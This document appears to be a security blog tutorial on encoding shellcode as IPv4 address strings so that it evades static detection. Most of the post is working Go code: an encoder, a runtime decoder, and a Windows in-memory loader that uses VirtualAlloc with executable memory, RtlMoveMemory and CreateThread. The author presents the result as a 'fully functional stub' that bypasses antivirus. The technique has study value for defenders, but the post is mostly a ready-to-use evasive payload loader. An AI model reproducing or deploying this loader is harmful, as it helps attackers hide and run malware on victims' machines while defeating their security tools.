🐚Unusual Shellcode Encoding: Convert Shellcode to IPv4

Encoding shellcode into unusual formats is a fascinating technique to obscure payloads and evade detection. In this blog post, we’ll explore a unique method: converting shellcode into IPv4 addresses and then decoding it back for execution. This approach combines obfuscation with functionality, making it an interesting tool in any security enthusiast's arsenal.

Let’s walk through the encoding and decoding processes.

1: Encoding Shellcode to IPv4 Addresses

Every IPv4 address consists of 4 bytes, represented as a.b.c.d, where each segment is an 8-bit number (0-255). Since shellcode is just binary data, we can divide it into 4-byte chunks and treat each chunk as an IPv4 address.

Generating IPv4 from Shellcode

Here’s the core function that converts 4 bytes into an IPv4 address:

func GenerateIPv4(a, b, c, d byte) string {
	return fmt.Sprintf("%d.%d.%d.%d", a, b, c, d)
}

Encoding the Entire Shellcode

Based on the previous defined logic, it seems obvious that to process the entire shellcode, we need to iterate over it in chunks of 4 bytes:

func GenerateIPv4Output(shellcode []byte) ([]string, error) {
	if len(shellcode)%4 != 0 {
		return nil, fmt.Errorf("shellcode length must be a multiple of 4")
	}

	var ipv4Addresses []string
	for i := 0; i < len(shellcode); i += 4 {
		ip := GenerateIPv4(shellcode[i], shellcode[i+1], shellcode[i+2], shellcode[i+3])
		ipv4Addresses = append(ipv4Addresses, ip)
	}

	return ipv4Addresses, nil
}

Based on this logic, an imput like this:

shellcode := []byte{0x6a, 0x24, 0x5e, 0x48, 0x31, 0xc0, 0xb0, 0x01}

Will after encoding look like this:

var ipv4Array = []string{
	"106.36.94.72",
	"49.192.176.1",
}

This array can be stored, transmitted, or further processed without raising suspicion. (just pray for one of the IPv4 address not to be on an known malicious IPv4 list)

the full code is available here

2. Decodinng shellcode

Encoding is only half the story. To use the shellcode, we need to store it in our stub as an IPv4 array, convert the IPv4 addresses back into their original binary form at the runtime then execute it.

Decoding a Single IPv4 Address

The DecodeIPv4 function splits an IPv4 string into its components and converts each part back into a byte:

func DecodeIPv4(ip string) ([]byte, error) {
	parts := strings.Split(ip, ".")
	if len(parts) != 4 {
		return nil, fmt.Errorf("invalid IPv4 address fo: %s", ip)
	}

	var bytes []byte
	for _, part := range parts {
		num, err := strconv.Atoi(part)
		if err != nil || num < 0 || num > 255 {
			return nil, fmt.Errorf("invalid byte: %s", part)
		}
		bytes = append(bytes, byte(num))
	}

	return bytes, nil
}

Decoding the Entire IPv4 Array

We need to keep the same logic as in the encoding part, and process each IPv4 address in the array, concatenate the decoded bytes, and reconstruct the original shellcode:

func DecodeIPv4Array(ipv4Array []string) ([]byte, error) {
	var shellcode []byte
	for _, ip := range ipv4Array {
		bytes, err := DecodeIPv4(ip)
		if err != nil {
			return nil, err
		}
		shellcode = append(shellcode, bytes...)
	}
	return shellcode, nil
}

this function will make our ip adresses

var ipv4Array = []string{
	"106.36.94.72",
	"49.192.176.1",
}

Become our original shellcode at runtime !

[]byte{0x6a, 0x24, 0x5e, 0x48, 0x31, 0xc0, 0xb0, 0x01}

3. Run the shellcode

For the rest of the execution flow, you will just need to execute the shellcode in memory like defined here.

// Allocate memory using VirtualAlloc
	addr, _, err := virtualAlloc.Call(
		0, 
		uintptr(len(shellcode)), 
		windows.MEM_COMMIT|windows.MEM_RESERVE, 
		windows.PAGE_EXECUTE_READWRITE,
	)
	if addr == 0 {
		fmt.Printf("VirtualAlloc failed: %v\n", err)
		return
	}
	fmt.Printf("Memory allocated at: %v\n", addr)

	// Copy the shellcode into the allocated memory
	_, _, err = rtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	if err != syscall.Errno(0) {
		fmt.Printf("RtlMoveMemory failed: %v\n", err)
		return
	}

	// Create a new thread to execute the shellcode
	threadHandle, _, err := createThread.Call(
		0, 0, addr, 0, 0, 0, 
	)

the full code is available here.

3. Conclusion

After these operations, you will finish with a fully functionnal stub that store his payload as an IPv4 array, and so on bypass static detections while keeping a fully functional code.

Last updated